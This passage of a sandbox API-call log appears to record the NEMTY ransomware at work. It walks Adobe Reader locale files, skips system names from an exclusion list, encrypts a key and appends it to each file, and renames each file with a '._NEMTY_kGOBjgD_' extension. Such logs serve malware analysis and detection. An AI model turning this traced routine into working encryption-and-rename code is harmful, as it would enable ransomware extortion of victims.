lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 10 [0175.634] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="DigSig.ESP", cchWideChar=10, lpMultiByteStr=0x653e890, cbMultiByte=10, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="DigSig.ESP", lpUsedDefaultChar=0x0) returned 10 [0175.634] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0175.634] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0175.635] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0175.635] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="DigSig.ESP", cchWideChar=10, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 10 [0175.635] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="DigSig.ESP", cchWideChar=10, lpMultiByteStr=0x653e8e0, cbMultiByte=10, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="DigSig.ESP", lpUsedDefaultChar=0x0) returned 10 [0175.635] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0175.635] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0175.635] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="DigSig.ESP", cchWideChar=10, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 10 [0175.635] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="DigSig.ESP", cchWideChar=10, lpMultiByteStr=0x653e918, cbMultiByte=10, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="DigSig.ESP", lpUsedDefaultChar=0x0) returned 10 [0175.635] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0175.635] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346f28 [0175.635] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340048 | out: hHeap=0x4f90000) returned 1 [0175.635] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346d60 [0175.635] Sleep (dwMilliseconds=0x5) [0175.638] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653e7a4 | out: lpSystemTimeAsFileTime=0x653e7a4*(dwLowDateTime=0x1c55ddd0, dwHighDateTime=0x1d561e8)) [0175.638] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653e7a4 | out: lpSystemTimeAsFileTime=0x653e7a4*(dwLowDateTime=0x1c55ddd0, dwHighDateTime=0x1d561e8)) [0175.638] GetLastError () returned 0x0 [0175.638] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0175.638] GetLastError () returned 0x0 [0175.638] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0175.638] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0175.638] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0175.638] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x653e5e0*=0x0, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x653e5e0*=0x100) returned 1 [0175.638] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x653e5e4*, pdwDataLen=0x653e5d0*=0x10, dwBufLen=0x100 | out: pbData=0x653e5e4*, pdwDataLen=0x653e5d0*=0x100) returned 1 [0175.639] CryptBinaryToStringA (in: pbBinary=0x653e5e4, cbBinary=0x100, dwFlags=0x1, pszString=0x0, pcchString=0x653e5dc | out: pszString=0x0, pcchString=0x653e5dc) returned 1 [0175.639] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x165) returned 0x6340048 [0175.639] CryptBinaryToStringA (in: pbBinary=0x653e5e4, cbBinary=0x100, dwFlags=0x1, pszString=0x6340048, pcchString=0x653e5dc | out: pszString="0Fr2lF408ywxPejqi9TEh0dsaKesUAp1qM1zyFF07xcFicZslUFq0fe4yyWBevvV\r\nSrsvIbc5XkOIidxLvB3PCe0OEHuYnGAmxKQG+L/FRzW4j5kmbczsfLQx4IKa9T10\r\nbasqrYGhW8gIQYLNplAAW7kdpNSGNo+X2jIX1AAP17NT7y1BA7LHBbB4NtKbU3SI\r\nYDXbcoKwCOHIN+BvpCYnjfLm+bRpxebj2X3XaVNmlTASOWUwxTVanC1pTUr4BT+J\r\nJKP0g4dpd6W9F9HXy19jHo0zYgYrHKg29Njj1Da7oNmJrO7fhn5h98Lm7emx1EEp\r\n+dGRz1dQFK9gDujDfgvbCw==\r\n", pcchString=0x653e5dc) returned 1 [0175.639] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348d60 [0175.639] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340048 | out: hHeap=0x4f90000) returned 1 [0175.639] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0175.639] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x10) returned 0x4f91750 [0175.639] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x167) returned 0x6340048 [0175.639] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348ed8 [0175.639] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\es_ES\\DigSig.ESP" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\es_es\\digsig.esp"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x2e8 [0175.640] GetFileSizeEx (in: hFile=0x2e8, lpFileSize=0x653e830 | out: lpFileSize=0x653e830*=133120) returned 1 [0175.640] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x19000) returned 0x6352c48 [0175.640] SetFilePointer (in: hFile=0x2e8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0175.640] ReadFile (in: hFile=0x2e8, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x653e824, lpOverlapped=0x0 | out: lpBuffer=0x6352c48*, lpNumberOfBytesRead=0x653e824*=0x19000, lpOverlapped=0x0) returned 1 [0175.648] SetFilePointer (in: hFile=0x2e8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0175.648] WriteFile (in: hFile=0x2e8, lpBuffer=0x6352c48*, nNumberOfBytesToWrite=0x19000, lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0 | out: lpBuffer=0x6352c48*, lpNumberOfBytesWritten=0x653e81c*=0x19000, lpOverlapped=0x0) returned 1 [0175.649] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6352c48 | out: hHeap=0x4f90000) returned 1 [0175.649] SetFilePointer (in: hFile=0x2e8, lDistanceToMove=133120, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x20800 [0175.649] WriteFile (in: hFile=0x2e8, lpBuffer=0x6340048*, nNumberOfBytesToWrite=0x167, lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0 | out: lpBuffer=0x6340048*, lpNumberOfBytesWritten=0x653e81c*=0x167, lpOverlapped=0x0) returned 1 [0175.649] CloseHandle (hObject=0x2e8) returned 1 [0175.649] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346e90 [0175.649] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0175.649] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0175.649] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ed58, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0175.649] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0175.649] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0175.649] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x4f94310 [0175.649] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xee) returned 0x63401b8 [0175.649] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94310 | out: hHeap=0x4f90000) returned 1 [0175.649] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0175.649] MoveFileW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\es_ES\\DigSig.ESP" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\es_es\\digsig.esp"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\es_ES\\DigSig.ESP._NEMTY_kGOBjgD_" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\es_es\\digsig.esp._nemty_kgobjgd_")) returned 1 [0175.650] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63401b8 | out: hHeap=0x4f90000) returned 1 [0175.650] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346e90 | out: hHeap=0x4f90000) returned 1 [0175.650] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f91750 | out: hHeap=0x4f90000) returned 1 [0175.650] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340048 | out: hHeap=0x4f90000) returned 1 [0175.650] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348ed8 | out: hHeap=0x4f90000) returned 1 [0175.650] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348d60 | out: hHeap=0x4f90000) returned 1 [0175.650] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0175.650] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346d60 | out: hHeap=0x4f90000) returned 1 [0175.650] FindNextFileW (in: hFindFile=0x3423ab0, lpFindFileData=0x653e988 | out: lpFindFileData=0x653e988*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9640cd00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x82caeac0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9640cd00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x4e00, dwReserved0=0x11, dwReserved1=0x4f90000, cFileName="DVA.ESP", cAlternateFileName="")) returned 1 [0175.650] lstrcmpiW (lpString1="DVA.ESP", lpString2=".") returned 1 [0175.650] lstrcmpiW (lpString1="DVA.ESP", lpString2="..") returned 1 [0175.650] lstrcmpiW (lpString1="DVA.ESP", lpString2="...") returned 1 [0175.650] lstrcmpiW (lpString1="DVA.ESP", lpString2="windows") returned -1 [0175.650] lstrcmpiW (lpString1="DVA.ESP", lpString2="$RECYCLE.BIN") returned 1 [0175.650] lstrcmpiW (lpString1="DVA.ESP", lpString2="rsa") returned -1 [0175.650] lstrcmpiW (lpString1="DVA.ESP", lpString2="NTDETECT.COM") returned -1 [0175.650] lstrcmpiW (lpString1="DVA.ESP", lpString2="ntldr") returned -1 [0175.650] lstrcmpiW (lpString1="DVA.ESP", lpString2="MSDOS.SYS") returned -1 [0175.650] lstrcmpiW (lpString1="DVA.ESP", lpString2="IO.SYS") returned -1 [0175.650] lstrcmpiW (lpString1="DVA.ESP", lpString2="boot.ini") returned 1 [0175.650] lstrcmpiW (lpString1="DVA.ESP", lpString2="boot.ini") returned 1 [0175.650] lstrcmpiW (lpString1="DVA.ESP", lpString2="AUTOEXEC.BAT") returned 1 [0175.650] lstrcmpiW (lpString1="DVA.ESP", lpString2="ntuser.dat") returned -1 [0175.651] lstrcmpiW (lpString1="DVA.ESP", lpString2="desktop.ini") returned 1 [0175.651] lstrcmpiW (lpString1="DVA.ESP", lpString2="CONFIG.SYS") returned 1 [0175.651] lstrcmpiW (lpString1="DVA.ESP", lpString2="RECYCLER") returned -1 [0175.651] lstrcmpiW (lpString1="DVA.ESP", lpString2="BOOTSECT.BAK") returned 1 [0175.651] lstrcmpiW (lpString1="DVA.ESP", lpString2="bootmgr") returned 1 [0175.651] lstrcmpiW (lpString1="DVA.ESP", lpString2="programdata") returned -1 [0175.651] lstrcmpiW (lpString1="DVA.ESP", lpString2="appdata") returned 1 [0175.651] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="DVA.ESP", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0175.651] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="DVA.ESP", cchWideChar=7, lpMultiByteStr=0x653e890, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="DVA.ESP", lpUsedDefaultChar=0x0) returned 7 [0175.651] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="DVA.ESP", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0175.651] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="DVA.ESP", cchWideChar=7, lpMultiByteStr=0x653e890, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="DVA.ESP", lpUsedDefaultChar=0x0) returned 7 [0175.651] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="DVA.ESP", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0175.651] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="DVA.ESP", cchWideChar=7, lpMultiByteStr=0x653e8e0, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="DVA.ESP", lpUsedDefaultChar=0x0) returned 7 [0175.651] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="DVA.ESP", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0175.651] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="DVA.ESP", cchWideChar=7, lpMultiByteStr=0x653e918, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="DVA.ESP", lpUsedDefaultChar=0x0) returned 7 [0175.651] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346d60 [0175.651] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346f28 | out: hHeap=0x4f90000) returned 1 [0175.651] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346f28 [0175.651] Sleep (dwMilliseconds=0x5) [0175.654] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653e7a4 | out: lpSystemTimeAsFileTime=0x653e7a4*(dwLowDateTime=0x1c583f30, dwHighDateTime=0x1d561e8)) [0175.654] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653e7a4 | out: lpSystemTimeAsFileTime=0x653e7a4*(dwLowDateTime=0x1c583f30, dwHighDateTime=0x1d561e8)) [0175.654] GetLastError () returned 0x0 [0175.654] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0175.654] GetLastError () returned 0x0 [0175.654] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0175.654] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0175.654] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0175.654] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x653e5e0*=0x0, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x653e5e0*=0x100) returned 1 [0175.654] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x653e5e4*, pdwDataLen=0x653e5d0*=0x10, dwBufLen=0x100 | out: pbData=0x653e5e4*, pdwDataLen=0x653e5d0*=0x100) returned 1 [0175.654] CryptBinaryToStringA (in: pbBinary=0x653e5e4, cbBinary=0x100, dwFlags=0x1, pszString=0x0, pcchString=0x653e5dc | out: pszString=0x0, pcchString=0x653e5dc) returned 1 [0175.654] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x165) returned 0x6340048 [0175.654] CryptBinaryToStringA (in: pbBinary=0x653e5e4, cbBinary=0x100, dwFlags=0x1, pszString=0x6340048, pcchString=0x653e5dc | out: pszString="z+DMXR6W3dDuQQorgK+XX/NQWR89RN5qFPUI+ELmplgieefDuv5hVRx+Pr7nxhvw\r\noT0YOmVn//roXGNsa+mPg3OUvjmqQVZgkb5O4JtPs7QIodmLylxskJu6mRl6DSBu\r\niQl1QkmSZgyGWD+ygFR/z76g9OGuirPWGmsK9TBcS6/tmiSOXPoYG/6WgBWbvbTE\r\nNnWFDzGP0GxthnZZV3DTqU8PZStCCHfgfcXBMEB3VXLREkksI8NOCcTfaQAswkE7\r\nQvi26+sNtTvm3C8cTzy6XSNIegOjwtfsHhrhgbgWuaGCW7bLQvxc3VGwCwGaI6ZZ\r\nZt/tOUbgUVCSYzpnPCturw==\r\n", pcchString=0x653e5dc) returned 1 [0175.654] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348d60 [0175.654] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340048 | out: hHeap=0x4f90000) returned 1 [0175.654] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0175.654] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x10) returned 0x4f91750 [0175.654] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x167) returned 0x6340048 [0175.654] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348ed8 [0175.654] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\es_ES\\DVA.ESP" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\es_es\\dva.esp"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x2e8 [0175.655] GetFileSizeEx (in: hFile=0x2e8, lpFileSize=0x653e830 | out: lpFileSize=0x653e830*=19968) returned 1 [0175.655] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x4e00) returned 0x6352c48 [0175.655] SetFilePointer (in: hFile=0x2e8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0175.655] ReadFile (in: hFile=0x2e8, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x4e00, lpNumberOfBytesRead=0x653e824, lpOverlapped=0x0 | out: lpBuffer=0x6352c48*, lpNumberOfBytesRead=0x653e824*=0x4e00, lpOverlapped=0x0) returned 1 [0175.657] SetFilePointer (in: hFile=0x2e8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0175.658] WriteFile (in: hFile=0x2e8, lpBuffer=0x6352c48*, nNumberOfBytesToWrite=0x4e00, lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0 | out: lpBuffer=0x6352c48*, lpNumberOfBytesWritten=0x653e81c*=0x4e00, lpOverlapped=0x0) returned 1 [0175.658] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6352c48 | out: hHeap=0x4f90000) returned 1 [0175.658] SetFilePointer (in: hFile=0x2e8, lDistanceToMove=19968, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x4e00 [0175.658] WriteFile (in: hFile=0x2e8, lpBuffer=0x6340048*, nNumberOfBytesToWrite=0x167, lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0 | out: lpBuffer=0x6340048*, lpNumberOfBytesWritten=0x653e81c*=0x167, lpOverlapped=0x0) returned 1 [0175.658] CloseHandle (hObject=0x2e8) returned 1 [0175.658] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346e90 [0175.658] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0175.658] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0175.658] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ed08, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0175.658] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0175.658] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0175.658] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346fc0 [0175.658] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xd6) returned 0x634bc60 [0175.658] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346fc0 | out: hHeap=0x4f90000) returned 1 [0175.658] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0175.658] MoveFileW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\es_ES\\DVA.ESP" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\es_es\\dva.esp"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\es_ES\\DVA.ESP._NEMTY_kGOBjgD_" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\es_es\\dva.esp._nemty_kgobjgd_")) returned 1 [0175.659] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x634bc60 | out: hHeap=0x4f90000) returned 1 [0175.659] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346e90 | out: hHeap=0x4f90000) returned 1 [0175.659] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f91750 | out: hHeap=0x4f90000) returned 1 [0175.659] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340048 | out: hHeap=0x4f90000) returned 1 [0175.659] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348ed8 | out: hHeap=0x4f90000) returned 1 [0175.659] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348d60 | out: hHeap=0x4f90000) returned 1 [0175.659] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0175.659] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346f28 | out: hHeap=0x4f90000) returned 1 [0175.659] FindNextFileW (in: hFindFile=0x3423ab0, lpFindFileData=0x653e988 | out: lpFindFileData=0x653e988*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9640cd00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x82e519e0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9640cd00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x1c00, dwReserved0=0x11, dwReserved1=0x4f90000, cFileName="eBook.ESP", cAlternateFileName="")) returned 1 [0175.659] lstrcmpiW (lpString1="eBook.ESP", lpString2=".") returned 1 [0175.659] lstrcmpiW (lpString1="eBook.ESP", lpString2="..") returned 1 [0175.659] lstrcmpiW (lpString1="eBook.ESP", lpString2="...") returned 1 [0175.659] lstrcmpiW (lpString1="eBook.ESP", lpString2="windows") returned -1 [0175.659] lstrcmpiW (lpString1="eBook.ESP", lpString2="$RECYCLE.BIN") returned 1 [0175.659] lstrcmpiW (lpString1="eBook.ESP", lpString2="rsa") returned -1 [0175.659] lstrcmpiW (lpString1="eBook.ESP", lpString2="NTDETECT.COM") returned -1 [0175.659] lstrcmpiW (lpString1="eBook.ESP", lpString2="ntldr") returned -1 [0175.659] lstrcmpiW (lpString1="eBook.ESP", lpString2="MSDOS.SYS") returned -1 [0175.659] lstrcmpiW (lpString1="eBook.ESP", lpString2="IO.SYS") returned -1 [0175.659] lstrcmpiW (lpString1="eBook.ESP", lpString2="boot.ini") returned 1 [0175.659] lstrcmpiW (lpString1="eBook.ESP", lpString2="boot.ini") returned 1 [0175.659] lstrcmpiW (lpString1="eBook.ESP", lpString2="AUTOEXEC.BAT") returned 1 [0175.659] lstrcmpiW (lpString1="eBook.ESP", lpString2="ntuser.dat") returned -1 [0175.659] lstrcmpiW (lpString1="eBook.ESP", lpString2="desktop.ini") returned 1 [0175.659] lstrcmpiW (lpString1="eBook.ESP", lpString2="CONFIG.SYS") returned 1 [0175.659] lstrcmpiW (lpString1="eBook.ESP", lpString2="RECYCLER") returned -1 [0175.659] lstrcmpiW (lpString1="eBook.ESP", lpString2="BOOTSECT.BAK") returned 1 [0175.659] lstrcmpiW (lpString1="eBook.ESP", lpString2="bootmgr") returned 1 [0175.660] lstrcmpiW (lpString1="eBook.ESP", lpString2="programdata") returned -1 [0175.660] lstrcmpiW (lpString1="eBook.ESP", lpString2="appdata") returned 1 [0175.660] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0175.660] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="eBook.ESP", cchWideChar=9, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 9 [0175.660] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="eBook.ESP", cchWideChar=9, lpMultiByteStr=0x653e890, cbMultiByte=9, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="eBook.ESP", lpUsedDefaultChar=0x0) returned 9 [0175.660] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0175.660] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="eBook.ESP", cchWideChar=9, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 9 [0175.660] WideCharToMultiByte (in: 